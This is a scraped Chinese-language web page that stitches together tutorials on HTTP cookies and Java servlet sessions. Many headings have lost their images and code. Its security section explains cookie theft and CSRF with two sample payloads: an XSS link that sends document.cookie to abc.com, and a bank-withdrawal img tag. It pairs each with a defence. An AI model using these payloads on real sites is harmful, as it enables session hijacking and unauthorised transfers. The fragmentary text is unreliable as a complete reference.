Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
ookie詳解:一篇文章徹底搞懂Cookie
Cookie,這個(gè)在互聯(lián)網(wǎng)技術(shù)領(lǐng)域廣泛提及的名詞,對(duì)于大多數(shù)普通用戶來說可能只是瀏覽器設(shè)置中的一個(gè)選項(xiàng),或是某些網(wǎng)站提醒你需要啟用的功能。但對(duì)于網(wǎng)站開發(fā)者、數(shù)據(jù)分析師、以及關(guān)注個(gè)人隱私的安全專家來說,Cookie背后的意義要深遠(yuǎn)得多。本文將從定義、作用、類型、安全性等方面對(duì)Cookie進(jìn)行詳細(xì)解析,幫助你全面、深入地理解這一技術(shù)。
一、Cookie的定義
Cookie,即“小甜餅”的意思,在計(jì)算機(jī)領(lǐng)域中,特指一種由服務(wù)器發(fā)送到用戶瀏覽器并保存在用戶計(jì)算機(jī)上的小型文本文件。這個(gè)文件可以被服務(wù)器用來識(shí)別用戶身份、跟蹤用戶活動(dòng)、保存用戶設(shè)置等。它通常由名稱、值、域名、路徑、過期時(shí)間等字段組成。
二、Cookie的作用
三、Cookie的類型
四、Cookie的安全性問題
雖然Cookie在許多方面都非常有用,但它們也存在一些潛在的安全風(fēng)險(xiǎn):
五、總結(jié)
Cookie作為一種重要的客戶端技術(shù),在互聯(lián)網(wǎng)應(yīng)用中發(fā)揮著舉足輕重的作用。它不僅可以用于會(huì)話管理、個(gè)性化設(shè)置等功能實(shí)現(xiàn),還可以為網(wǎng)站提供有價(jià)值的數(shù)據(jù)分析服務(wù)。然而,在使用Cookie的過程中,我們也需要注意其潛在的安全風(fēng)險(xiǎn),并采取相應(yīng)的措施進(jìn)行防范和保護(hù)。只有這樣,我們才能在享受互聯(lián)網(wǎng)帶來的便利的同時(shí),確保自己的隱私和安全不受侵害。
擊關(guān)注,快速進(jìn)階高級(jí)架構(gòu)師
作者:Zender
會(huì)話可簡(jiǎn)單理解為:用戶開一個(gè)瀏覽器,點(diǎn)擊多個(gè)超鏈接,訪問服務(wù)器多個(gè)web資源,然后關(guān)閉瀏覽器,整個(gè)過程稱之為一個(gè)會(huì)話。
每個(gè)用戶在使用瀏覽器與服務(wù)器進(jìn)行會(huì)話的過程中,不可避免各自會(huì)產(chǎn)生一些數(shù)據(jù),程序要想辦法為每個(gè)用戶保存這些數(shù)據(jù)。
1、Cookie
Cookie意為"甜餅",是由W3C組織提出,最早由Netscape社區(qū)發(fā)展的一種機(jī)制。目前Cookie已經(jīng)成為標(biāo)準(zhǔn),所有的主流瀏覽器如IE、Netscape、Firefox、Opera等都支持Cookie。
由于HTTP是一種無狀態(tài)的協(xié)議,服務(wù)器單從網(wǎng)絡(luò)連接上無從知道客戶身份。怎么辦呢?就給客戶端們頒發(fā)一個(gè)通行證吧,每人一個(gè),無論誰(shuí)訪問都必須攜帶自己通行證。這樣服務(wù)器就能從通行證上確認(rèn)客戶身份了。這就是Cookie的工作原理。
Cookie實(shí)際上是一小段的文本信息。客戶端請(qǐng)求服務(wù)器,如果服務(wù)器需要記錄該用戶狀態(tài),就使用response向客戶端瀏覽器頒發(fā)一個(gè)Cookie。客戶端瀏覽器會(huì)把Cookie保存起來。當(dāng)瀏覽器再請(qǐng)求該網(wǎng)站時(shí),瀏覽器把請(qǐng)求的網(wǎng)址連同該Cookie一同提交給服務(wù)器。服務(wù)器檢查該Cookie,以此來辨認(rèn)用戶狀態(tài)。服務(wù)器還可以根據(jù)需要修改Cookie的內(nèi)容。
2、Session
Session是服務(wù)器端技術(shù),利用這個(gè)技術(shù),服務(wù)器在運(yùn)行時(shí)可以為每一個(gè)用戶的瀏覽器創(chuàng)建一個(gè)其獨(dú)享的session對(duì)象,由于session為用戶瀏覽器獨(dú)享,所以用戶在訪問服務(wù)器的web資源時(shí),可以把各自的數(shù)據(jù)放在各自的session中,當(dāng)用戶再去訪問服務(wù)器中的其它web資源時(shí),其它web資源再?gòu)挠脩舾髯缘膕ession中取出數(shù)據(jù)為用戶服務(wù)。
response接口也中定義了一個(gè)addCookie方法,它用于在其響應(yīng)頭中增加一個(gè)相應(yīng)的Set-Cookie頭字段。 同樣,request接口中也定義了一個(gè)getCookies方法,它用于獲取客戶端提交的Cookie。
1、使用cookie記錄用戶上一次訪問的時(shí)間
第一次訪問時(shí),如下所示:
再次訪問:
2、刪除Cookie
3、cookie中存/取中文
結(jié)果如下:
Cookie注意細(xì)節(jié)
1,一個(gè)Cookie只能標(biāo)識(shí)一種信息,它至少含有一個(gè)標(biāo)識(shí)該信息的名稱(NAME)和設(shè)置值(VALUE)。
2,一個(gè)WEB站點(diǎn)可以給一個(gè)WEB瀏覽器發(fā)送多個(gè)Cookie,一個(gè)WEB瀏覽器也可以存儲(chǔ)多個(gè)WEB站點(diǎn)提供的Cookie。
3,瀏覽器一般只允許存放300個(gè)Cookie,每個(gè)站點(diǎn)最多存放20個(gè)Cookie,每個(gè)Cookie的大小限制為4KB。
4,如果創(chuàng)建了一個(gè)cookie,并將他發(fā)送到瀏覽器,默認(rèn)情況下它是一個(gè)會(huì)話級(jí)別的cookie(即存儲(chǔ)在瀏覽器的內(nèi)存中),用戶退出瀏覽器之后即被刪除。若希望瀏覽器將該cookie存儲(chǔ)在磁盤上,則需要使用maxAge,并給出一個(gè)以秒為單位的時(shí)間。將最大時(shí)效設(shè)為0則是命令瀏覽器刪除該cookie。
在WEB開發(fā)中,服務(wù)器可以為每個(gè)用戶瀏覽器創(chuàng)建一個(gè)會(huì)話對(duì)象(session對(duì)象),注意:一個(gè)瀏覽器獨(dú)占一個(gè)session對(duì)象(默認(rèn)情況下)。因此,在需要保存用戶數(shù)據(jù)時(shí),服務(wù)器程序可以把用戶數(shù)據(jù)寫到用戶瀏覽器獨(dú)占的session中,當(dāng)用戶使用瀏覽器訪問其它程序時(shí),其它程序可以從用戶的session中取出該用戶的數(shù)據(jù),為用戶服務(wù)。
Session和Cookie的主要區(qū)別
1,Cookie是把用戶的數(shù)據(jù)寫給用戶的瀏覽器。
2,Session技術(shù)把用戶的數(shù)據(jù)寫到用戶獨(dú)占的session中。
3,Session對(duì)象由服務(wù)器創(chuàng)建,開發(fā)人員可以調(diào)用request對(duì)象的getSession方法得到session對(duì)象。
Session是服務(wù)器端技術(shù),利用這個(gè)技術(shù),服務(wù)器在運(yùn)行時(shí)可以為每一個(gè)用戶的瀏覽器創(chuàng)建一個(gè)其獨(dú)享的session對(duì)象,由于session為用戶瀏覽器獨(dú)享,所以用戶在訪問服務(wù)器的web資源時(shí),可以把各自的數(shù)據(jù)放在各自的session中,當(dāng)用戶再去訪問服務(wù)器中的其它web資源時(shí),其它web資源再?gòu)挠脩舾髯缘膕ession中取出數(shù)據(jù)為用戶服務(wù)。
當(dāng)用戶打開瀏覽器,訪問某個(gè)網(wǎng)站操作session時(shí),服務(wù)器就會(huì)在服務(wù)器的內(nèi)存為該瀏覽器分配一個(gè)session對(duì)象,該session對(duì)象被這個(gè)瀏覽器獨(dú)占。
這個(gè)session對(duì)象也可以看做是一個(gè)容器,session默認(rèn)存在時(shí)間為30min,你可以修改。
1、Session可以用來做什么
1、網(wǎng)上商城中的購(gòu)物車
2、保存登錄用戶的信息
3、將某些數(shù)據(jù)放入到Session中,供同一用戶的各個(gè)頁(yè)面使用
4、防止用戶非法登錄到某個(gè)頁(yè)面。
2、Session基本使用
Servlet1:
Servlet2:
同一瀏覽器訪問Servlet1,再訪問Servlet2,結(jié)果如下:
不同瀏覽器訪問Servlet1,再訪問Servlet2,結(jié)果如下:
可以看到這時(shí)候name是null,也就是沒有從session對(duì)象中取出值,因?yàn)?60瀏覽器并沒有運(yùn)行Servlet1來創(chuàng)建Session對(duì)象,上面的session對(duì)象是Chrome瀏覽器獨(dú)占的。
3、Session生命周期
Session中的屬性的默認(rèn)生命周期是30min,這個(gè)默認(rèn)時(shí)間可以通過修改web.xml文件來修改
1,在Tomcat根目錄\conf\web.xml文件中修改
<session-config> <session-timeout>30</session-timeout> </session-config>
2,如果只需要對(duì)某一個(gè)web應(yīng)用設(shè)置,則只需要修改對(duì)應(yīng)web應(yīng)用的web.xml文件。在這個(gè)web.xml文件中添加如上的代碼:
<session-config> <session-timeout>10</session-timeout> </session-config>
除了設(shè)置默認(rèn)生命周期之外,最重要的是在程序中設(shè)置,調(diào)用setMaxInacttiveInterval(int interval),這里的interval是以秒為單位的,而且這個(gè)方法設(shè)置的是發(fā)呆時(shí)間,比如你設(shè)置的是60秒,那么在這60秒之內(nèi)如果你沒有操作過session,它就會(huì)自動(dòng)刪除,如果你操作過,不管是設(shè)置屬性還是讀取屬性,它都會(huì)從頭開始計(jì)時(shí)。
session.setMaxInactiveInterval(60);
服務(wù)器是如何實(shí)現(xiàn)一個(gè)session為一個(gè)用戶瀏覽器服務(wù)的?
1,瀏覽器A先訪問Servlet1,這時(shí)候它創(chuàng)建了一個(gè)Session,ID號(hào)為110,然后Servlet1將這個(gè)ID號(hào)以Cookie的方式返回給瀏覽器A。
2,瀏覽器A繼續(xù)訪問Servlet2,那么這個(gè)請(qǐng)求會(huì)帶上Cookie值: JSESSIONID=110,然后服務(wù)器根據(jù)瀏覽器A傳遞過來的ID號(hào)找到內(nèi)存中的這個(gè)Session。
3,瀏覽器B來訪問Servlet1了,它的請(qǐng)求并沒有帶上 JSESSIONID這個(gè)Cookie值,由于它也要使用Session,所以服務(wù)器會(huì)新創(chuàng)建一個(gè)Session,ID號(hào)為111。
4,瀏覽器B繼續(xù)訪問Servlet2,那么這個(gè)請(qǐng)求會(huì)帶上Cookie值: JSESSIONID=111,然后服務(wù)器根據(jù)瀏覽器B傳遞過來的ID號(hào)找到內(nèi)存中的這個(gè)Session。
例如:
Servlet1:
Servlet2:
第一次訪問Servlet1時(shí),服務(wù)器會(huì)創(chuàng)建一個(gè)新的sesion,并且把session的Id以cookie的形式發(fā)送給客戶端瀏覽器,如下圖所示:
可以看到,Request Headers中并沒有Cookie的信息,而Response Headers中有這么一句話:
Set-Cookie: JSESSIONID=05A94199DDC64311563740CC2C78D656; Path=/CookieAndSession/; HttpOnly
說明這個(gè)時(shí)候服務(wù)器向客戶端通過Cookie傳遞回了 JSESSIONID這個(gè)屬性。
然后訪問Servlet2,如下圖所示:
可以看到Response Headers中沒有出現(xiàn)Set-Cookie這個(gè)頭,而Request Headers中帶上了Cookie這個(gè)頭:
Cookie: JSESSIONID=05A94199DDC64311563740CC2C78D656
而這個(gè)頭中正包含 JSESSIONID,并且它的值也就是我們之前Set-Cookie中 JSESSIONID的值。
這就證明了我們之前圖解的Session的原理,也就是服務(wù)器能夠?yàn)椴煌臑g覽器區(qū)分不同的Session的機(jī)制。
1,用戶登錄時(shí)候驗(yàn)證驗(yàn)證碼
Index.jsp:
CodeServlet:
Web.xml:
這里使用了jelly-core-1.7.0.GA.jar來生成了驗(yàn)證碼,具體使用方式:
jelly-core-1.7.0.GA.jar(http://www.blogjava.net/fancydeepin/archive/2014/08/03/jelly_image.html)
訪問http://localhost:8081/CookieAndSession/index.jsp輸入驗(yàn)證碼,點(diǎn)擊提交:
輸入正確驗(yàn)證碼,頁(yè)面響應(yīng)結(jié)果:
輸入錯(cuò)誤驗(yàn)證碼,頁(yè)面響應(yīng)結(jié)果:
輸入正確驗(yàn)證碼,后臺(tái)結(jié)果:
輸入錯(cuò)誤驗(yàn)證碼,后臺(tái)結(jié)果:
2,實(shí)現(xiàn)簡(jiǎn)易購(gòu)物車
模擬一個(gè)數(shù)據(jù)庫(kù):
BuyBookServlet這個(gè)Servlet用于購(gòu)買圖書:
運(yùn)行結(jié)果:
3,防止用戶非法登錄到某個(gè)頁(yè)面
比如我們的用戶管理系統(tǒng),必須要登錄成功后才能跳轉(zhuǎn)到主頁(yè)面,而不能直接繞過登錄頁(yè)面直接到主頁(yè)面,這個(gè)應(yīng)用是一個(gè)非常常見的應(yīng)用。
當(dāng)在驗(yàn)證用戶的控制器LoginClServlet.java驗(yàn)證用戶成功后,將當(dāng)前的用戶信息保存在Session對(duì)象中:
然后在主頁(yè)面Main.java最開始的地方,取出Session中的登錄用戶信息,如果信息為空,則為非法訪問,直接跳轉(zhuǎn)到登錄頁(yè)面,并提示相關(guān)信息:
那么這里就存在一個(gè)問題,一個(gè)網(wǎng)站會(huì)有很多個(gè)需要防止非法訪問的頁(yè)面,如果都是用這種方法豈不是很麻煩?
兩種解決辦法:
第一種:將這段驗(yàn)證用戶的代碼封裝成函數(shù),每次調(diào)用
第二種:使用過濾器
4,利用Session防止表單重復(fù)提交
具體的做法:
在服務(wù)器端生成一個(gè)唯一的隨機(jī)標(biāo)識(shí)號(hào),專業(yè)術(shù)語(yǔ)稱為Token(令牌),同時(shí)在當(dāng)前用戶的Session域中保存這個(gè)Token。然后將Token發(fā)送到客戶端的Form表單中,在Form表單中使用隱藏域來存儲(chǔ)這個(gè)Token,表單提交的時(shí)候連同這個(gè)Token一起提交到服務(wù)器端,然后在服務(wù)器端判斷客戶端提交上來的Token與服務(wù)器端生成的Token是否一致,如果不一致,那就是重復(fù)提交了,此時(shí)服務(wù)器端就可以不處理重復(fù)提交的表單。如果相同則處理表單提交,處理完后清除當(dāng)前用戶的Session域中存儲(chǔ)的標(biāo)識(shí)號(hào)。
在下列情況下,服務(wù)器程序?qū)⒕芙^處理用戶提交的表單請(qǐng)求:
1,存儲(chǔ)Session域中的Token(令牌)與表單提交的Token(令牌)不同。
2,當(dāng)前用戶的Session中不存在Token(令牌)。
3,用戶提交的表單數(shù)據(jù)中沒有Token(令牌)。
例如:
創(chuàng)建FormTokenServlet,用于生成Token和跳轉(zhuǎn)到token.jsp頁(yè)面:
在token.jsp中使用隱藏域來存儲(chǔ)Token(令牌),提交Token(令牌)到服務(wù)器:
TokenServlet處理表單提交:
運(yùn)行結(jié)果如下:
這里存在一種情況,假如用戶瀏覽器禁用了Cookie怎么辦?比如我把Chrome的Cookie禁用,如下:
解決方法:URL重寫
Servlet中的response提供了對(duì)URL重寫的方法:
那么URL重寫是什么意思呢?其實(shí)就是人為地把JSESSIONID附在了url的后面,比如我們修改之前寫的簡(jiǎn)易購(gòu)物車,ShowBook中所有的點(diǎn)擊購(gòu)買超鏈接都要重寫。
之前我們是這么寫的:
out.println("<tr><td>"+book.getName()+"</td><td><a href='"+ req.getContextPath() +"/BuyBookServlet.html?id="+book.getId()+"'>點(diǎn)擊購(gòu)買</a></td></tr>");
現(xiàn)在進(jìn)行URL重寫:
req.getSession(); String url="/MyCart/BuyBookCl?id="+book.getId(); url=resp.encodeURL(url); out.println("<tr><td>"+book.getName()+"</td><td><a href='"+url+"'>點(diǎn)擊購(gòu)買</a></td></tr>");
需要注意的是,重寫之前一定要調(diào)用或者確保使用過request.getSession()這個(gè)方法。
重寫之前,訪問ShowBookServlet的源代碼是這樣的:
重寫之后呢:
可以看到URL重寫之后,jsessionid這個(gè)參數(shù)自動(dòng)附在了url后面,由此,得以確保我們的Session在Cookie被禁用的情況下繼續(xù)正常使用。這時(shí)候我們查看購(gòu)物車的地址欄如下,可以明顯看到j(luò)sessionid這個(gè)參數(shù):
原文:https://www.cnblogs.com/Zender/p/7657516.html
隨著web應(yīng)用越來越復(fù)雜,希望能夠在用戶本身機(jī)器上存儲(chǔ)用戶信息,無論是登錄信息,偏好設(shè)定或其他數(shù)據(jù),這個(gè)問題第一個(gè)方案就是以cookie形式出現(xiàn)的,最早提出cookie的網(wǎng)景公司。一份題為“Persistent Client State: HTTP Cookes”(持久客戶端狀態(tài):HTTP Cookies)的標(biāo)準(zhǔn)中對(duì) cookie 機(jī)制進(jìn)行了闡述(該標(biāo)準(zhǔn)還可以在這里看到:http://curl.haxx.se/rfc/cookie_spec.html)。今天,cookie只是在客戶端存儲(chǔ)數(shù)據(jù)的其中一種選項(xiàng)。
HTTP Cookie,通常直接叫做 cookie,最初是在客戶端用于存儲(chǔ)會(huì)話信息的。該標(biāo)準(zhǔn)要求服務(wù)器對(duì) 任意 HTTP 請(qǐng)求發(fā)送 Set-Cookie HTTP 頭作為響應(yīng)的一部分,其中包含會(huì)話信息。例如,這種服務(wù)器響 應(yīng)的頭可能如下:
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value Other-header: other-header-value
這個(gè) HTTP 響應(yīng)設(shè)置以 name 為名稱、以 value 為值的一個(gè) cookie,名稱和值在傳送時(shí)都必須是URL 編碼的。瀏覽器會(huì)存儲(chǔ)這樣的會(huì)話信息,并在這之后,通過為每個(gè)請(qǐng)求添加 Cookie HTTP 頭將信息發(fā)送回服務(wù)器,如下所示:
GET /index.html HTTP/1.1 Cookie: name=value Other-header: other-header-value
如圖所示,用戶首次訪問服務(wù)器,服務(wù)器會(huì)返回一個(gè)獨(dú)一無二的識(shí)別碼;id=23451,這樣服務(wù)器可以用這個(gè)碼跟蹤記錄用戶的信息,(購(gòu)物歷史,地址信息等)。
cookie可以包含任意的信息,不僅僅是id,客戶端會(huì)記錄服務(wù)器返回來的Set-Cookie首部中的cookie內(nèi)容。并將cookie存儲(chǔ)在瀏覽器的cookie數(shù)據(jù)庫(kù)中,當(dāng)用戶訪問同一站點(diǎn)時(shí),瀏覽器就會(huì)挑選當(dāng)時(shí)該站點(diǎn)頒發(fā)的id=XXX的身份證(cookie),并在Cookie請(qǐng)求首部發(fā)送過去。
cookie可以根據(jù)存儲(chǔ)時(shí)間分為會(huì)話coolie和持久cookie,會(huì)話cookie會(huì)在關(guān)閉瀏覽器后自動(dòng)刪除,持久性cookie會(huì)存儲(chǔ)在硬盤上,保存時(shí)間更久,關(guān)閉瀏覽器和電腦還可以保存。比如:
document.cookie="username=John Doe; expires=Thu, 18 Dec 2043 12:00:00 GMT";
域
cookie 對(duì)于哪個(gè)域是有效的。所有向該域發(fā)送的請(qǐng)求中都會(huì)包含這個(gè) cookie 信息。這個(gè)值可以包含子域(subdomain,如www.wrox.com),也可以不包含它(如.wrox.com,則對(duì)于wrox.com的所有子域都有效)。如果沒有明確設(shè)定,那么這個(gè)域會(huì)被認(rèn)作來自設(shè)置 cookie 的那個(gè)域。
值
儲(chǔ)存在 cookie 中的字符串值。值必須被 URL 編碼。
路徑
對(duì)于指定域中的那個(gè)路徑,應(yīng)該向服務(wù)器發(fā)送 cookie。例如,你可以指定 cookie 只有從http://www.wrox.com/books/ 中才能訪問,那么 http://www.wrox.com 的頁(yè)面就不會(huì)發(fā)送 cookie 信息,即使請(qǐng)求都是來自同一個(gè)域的。
過期時(shí)間
表示 cookie 何時(shí)應(yīng)該被刪除的時(shí)間戳(也就是,何時(shí)應(yīng)該停止向服務(wù)器發(fā)送這個(gè)cookie)。默認(rèn)情況下,瀏覽器會(huì)話結(jié)束時(shí)即將所有 cookie 刪除;不過也可以自己設(shè)置刪除時(shí)間。這個(gè)值是個(gè) GMT 格式的日期(Wdy, DD-Mon-YYYY HH:MM:SS GMT),用于指定應(yīng)該刪除cookie 的準(zhǔn)確時(shí)間。因此,cookie 可在瀏覽器關(guān)閉后依然保存在用戶的機(jī)器上。如果你設(shè)置的失效日期是個(gè)以前的時(shí)間,則 cookie 會(huì)被立刻刪除。
安全標(biāo)志
指定后,cookie 只有在使用 SSL 連接的時(shí)候才發(fā)送到服務(wù)器。例如,cookie 信息只能發(fā)送給 https://www.wrox.com,而 http://www.wrox.com 的請(qǐng)求則不能發(fā)送 cookie。 每一段信息都作為 Set-Cookie 頭的一部分,使用分號(hào)加空格分隔每一段,如下例所示。
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value; expires=Mon, 22-Jan-07 07:10:24 GMT; domain=.wrox.com Other-header: other-header-value
該頭信息指定了一個(gè)叫做 name 的 cookie,它會(huì)在格林威治時(shí)間 2007 年 1 月 22 日 7:10:24 失效,同時(shí)對(duì)于 www.wrox.com 和 wrox.com 的任何子域(如 p2p.wrox.com)都有效。 secure 標(biāo)志是 cookie 中唯一一個(gè)非名值對(duì)兒的部分,直接包含一個(gè) secure 單詞。如下:
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value; domain=.wrox.com; path=/; secure Other-header: other-header-value
這里,創(chuàng)建了一個(gè)對(duì)于所有 wrox.com 的子域和域名下(由 path 參數(shù)指定的)所有頁(yè)面都有效的cookie。因?yàn)樵O(shè)置了 secure 標(biāo)志,這個(gè) cookie 只能通過 SSL 連接才能傳輸。尤其要注意,域、路徑、失效時(shí)間和 secure 標(biāo)志都是服務(wù)器給瀏覽器的指示,以指定何時(shí)應(yīng)該發(fā)送 cookie。這些參數(shù)并不會(huì)作為發(fā)送到服務(wù)器的 cookie 信息的一部分,只有名值對(duì)兒才會(huì)被發(fā)送。
在JavaScript中處理cookie有些復(fù)雜,因?yàn)槠浔娝苤孽磕_的接口,即BOM的document. cookie屬性。這個(gè)屬性的獨(dú)特之處在于它會(huì)因?yàn)槭褂盟姆绞讲煌憩F(xiàn)出不同的行為。當(dāng)用來獲取屬性值時(shí),document.cookie 返回當(dāng)前頁(yè)面可用的(根據(jù) cookie 的域、路徑、失效時(shí)間和安全設(shè)置)所有 cookie的字符串,一系列由分號(hào)隔開的名值對(duì)兒,如下例所示。
name1=value1;name2=value2;name3=value3
所有名字和值都是經(jīng)過 URL 編碼的,所以必須使用 decodeURIComponent()來解碼。
注意:當(dāng)用于設(shè)置值的時(shí)候,document.cookie 屬性可以設(shè)置為一個(gè)新的 cookie 字符串。這個(gè) cookie 字符串會(huì)被解釋并添加到現(xiàn)有的 cookie 集合中。設(shè)置 document.cookie 并不會(huì)覆蓋 cookie,除非設(shè)置的cookie 的名稱已經(jīng)存在。設(shè)置 cookie 的格式如下,和 Set-Cookie 頭中使用的格式一樣。
name=value; expires=expiration_time; path=domain_path; domain=domain_name; secure
這些參數(shù)中,只有 cookie 的名字和值是必需的。下面是一個(gè)簡(jiǎn)單的例子。
document.cookie="name=Nicholas";
這段代碼創(chuàng)建了一個(gè)叫 name 的 cookie,值為 Nicholas。當(dāng)客戶端每次向服務(wù)器端發(fā)送請(qǐng)求的時(shí)候,都會(huì)發(fā)送這個(gè) cookie;當(dāng)瀏覽器關(guān)閉的時(shí)候,它就會(huì)被刪除。雖然這段代碼沒問題,但因?yàn)檫@里正好名稱和值都無需編碼,所以最好每次設(shè)置 cookie 時(shí)都像下面這個(gè)例子中一樣使用encodeURIComponent()。 document.cookie=encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas");
要給被創(chuàng)建的 cookie 指定額外的信息,只要將參數(shù)追加到該字符串,和 Set-Cookie 頭中的格式一樣,如下所示。 document.cookie=encodeURIComponent("name") + "=" + encodeURIComponent("Nicholas") + "; domain=.wrox.com; path=/";
由于JS操作cookie比較麻煩,我們一般封裝一層
var CookieUtil={ setCookie:function(name,value,expiredays){ var d=new Date(); d.setDate(date.getDate()+expiredays); window.document.cookie=encodeURIComponent(name) + "=" + encodeURIComponent(value) + ";path=/;expires=" + d.toGMTString(); }, getCookie:function(name){ var v=document.cookie.match('(^|;)'+name+'=([^;]*)(;|$)')); return v?v[2]:null; }, deleteCookie:function(name){ this.setCookie(name, '', -1) } }
1、大小限制,每個(gè)域的 cookie 總數(shù)是有限的,不過瀏覽器之間各有不同
2、過多的 Cookie 會(huì)帶來巨大的性能浪費(fèi)
Cookie 是緊跟域名的。同一個(gè)域名下的所有請(qǐng)求,都會(huì)攜帶 Cookie。大家試想,如果我們此刻僅僅是請(qǐng)求一張圖片或者一個(gè) CSS 文件,我們也要攜帶一個(gè) Cookie 跑來跑去(關(guān)鍵是 Cookie 里存儲(chǔ)的信息并不需要),這是一件多么勞民傷財(cái)?shù)氖虑椤ookie 雖然小,請(qǐng)求卻可以有很多,隨著請(qǐng)求的疊加,這樣的不必要的 Cookie 帶來的開銷將是無法想象的。
3、安全性問題
多數(shù)網(wǎng)站使用cookie作為用戶會(huì)話的唯一標(biāo)識(shí),因?yàn)槠渌姆椒ň哂邢拗坪吐┒础H绻粋€(gè)網(wǎng)站使用cookies作為會(huì)話標(biāo)識(shí)符,攻擊者可以通過竊取一套用戶的cookies來冒充用戶的請(qǐng)求。從服務(wù)器的角度,它是沒法分辨用戶和攻擊者的,因?yàn)橛脩艉凸粽邠碛邢嗤纳矸蒡?yàn)證。 下面介紹幾種cookie盜用和會(huì)話劫持的例子:
網(wǎng)絡(luò)竊聽
網(wǎng)絡(luò)上的流量可以被網(wǎng)絡(luò)上任何計(jì)算機(jī)攔截,特別是未加密的開放式WIFI。這種流量包含在普通的未加密的HTTP清求上發(fā)送Cookie。在未加密的情況下,攻擊者可以讀取網(wǎng)絡(luò)上的其他用戶的信息,包含HTTP Cookie的全部?jī)?nèi)容,以便進(jìn)行中間的攻擊。比如:攔截cookie來冒充用戶身份執(zhí)行惡意任務(wù)(銀行轉(zhuǎn)賬等)。
解決辦法:服務(wù)器可以設(shè)置secure屬性的cookie,這樣就只能通過https的方式來發(fā)送cookies了。
DNS緩存中毒
如果攻擊者可以使DNS緩存中毒,那么攻擊者就可以訪問用戶的Cookie了,例如:攻擊者使用DNS中毒來創(chuàng)建一個(gè)虛擬的NDS服務(wù)h123456.www.demo.com指向攻擊者服務(wù)器的ip地址。然后攻擊者可以從服務(wù)器 h123456.www.demo.com/img_01.png 發(fā)布圖片。用戶訪問這個(gè)圖片,由于 www.demo.com和h123456.www.demo.com是同一個(gè)子域,所以瀏覽器會(huì)把用戶的與www.demo.com相關(guān)的cookie都會(huì)發(fā)送到h123456.www.demo.com這個(gè)服務(wù)器上,這樣攻擊者就會(huì)拿到用戶的cookie搞事情。
一般情況下是不會(huì)發(fā)生這種情況,通常是網(wǎng)絡(luò)供應(yīng)商錯(cuò)誤。
跨站點(diǎn)腳本XSS
使用跨站點(diǎn)腳本技術(shù)可以竊取cookie。當(dāng)網(wǎng)站允許使用javascript操作cookie的時(shí)候,就會(huì)發(fā)生攻擊者發(fā)布惡意代碼攻擊用戶的會(huì)話,同時(shí)可以拿到用戶的cookie信息。 例子:
<a href="#" onclick=window.location=http://abc.com?cookie=${docuemnt.cookie}>領(lǐng)取紅包
當(dāng)用戶點(diǎn)擊這個(gè)鏈接的時(shí)候,瀏覽器就會(huì)執(zhí)行onclick里面的代碼,結(jié)果這個(gè)網(wǎng)站用戶的cookie信息就會(huì)被發(fā)送到abc.com攻擊者的服務(wù)器。攻擊者同樣可以拿cookie搞事情。
解決辦法:可以通過cookie的HttpOnly屬性,設(shè)置了HttpOnly屬性,javascript代碼將不能操作cookie。
跨站請(qǐng)求偽造CSRF
例如,SanShao可能正在瀏覽其他用戶XiaoMing發(fā)布消息的聊天論壇。假設(shè)XiaoMing制作了一個(gè)引用ShanShao銀行網(wǎng)站的HTML圖像元素,例如,
<img src="http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" >
如果SanShao的銀行將其認(rèn)證信息保存在cookie中,并且cookie尚未過期,(當(dāng)然是沒有其他驗(yàn)證身份的東西),那么SanShao的瀏覽器嘗試加載該圖片將使用他的cookie提交提款表單,從而在未經(jīng)SanShao批準(zhǔn)的情況下授權(quán)交易。
解決辦法:增加其他信息的校驗(yàn)(手機(jī)驗(yàn)證碼,或者其他盾牌)。
點(diǎn)贊+轉(zhuǎn)發(fā),讓更多的人也能看到這篇內(nèi)容(收藏不點(diǎn)贊,都是耍流氓-_-)
關(guān)注 {我},享受文章首發(fā)體驗(yàn)!
每周重點(diǎn)攻克一個(gè)前端技術(shù)難點(diǎn)。更多精彩前端內(nèi)容私信 我 回復(fù)“教程”!
原文鏈接:https://github.com/huzhao0316/articals/wiki/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E6%B5%8F%E8%A7%88%E5%99%A8Cookie
*請(qǐng)認(rèn)真填寫需求信息,我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。